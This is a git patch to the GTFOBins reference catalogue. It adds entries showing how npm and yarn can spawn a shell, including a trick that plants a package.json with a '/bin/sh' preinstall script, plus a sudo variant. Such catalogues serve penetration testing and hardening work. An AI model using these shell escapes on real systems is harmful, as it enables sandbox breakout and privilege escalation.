From 3466212c5d784667a18288c03703fa89cde87540 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Fri, 18 Jun 2021 14:16:48 +0200 Subject: [PATCH] Update yarn and npm --- _gtfobins/npm.md | 1 + _gtfobins/yarn.md | 4 ++++ 2 files changed, 5 insertions(+) diff --git a/_gtfobins/npm.md b/_gtfobins/npm.md index 7bc88ae..291afa8 100644 --- a/_gtfobins/npm.md +++ b/_gtfobins/npm.md @@ -1,6 +1,7 @@ --- functions: shell: + - code: npm exec /bin/sh - code: | TF=$(mktemp -d) echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json diff --git a/_gtfobins/yarn.md b/_gtfobins/yarn.md index a9295fe..072dc2e 100644 --- a/_gtfobins/yarn.md +++ b/_gtfobins/yarn.md @@ -2,6 +2,10 @@ functions: shell: - code: yarn exec /bin/sh + - code: | + TF=$(mktemp -d) + echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json + yarn --cwd $TF install sudo: - code: sudo yarn exec /bin/sh ---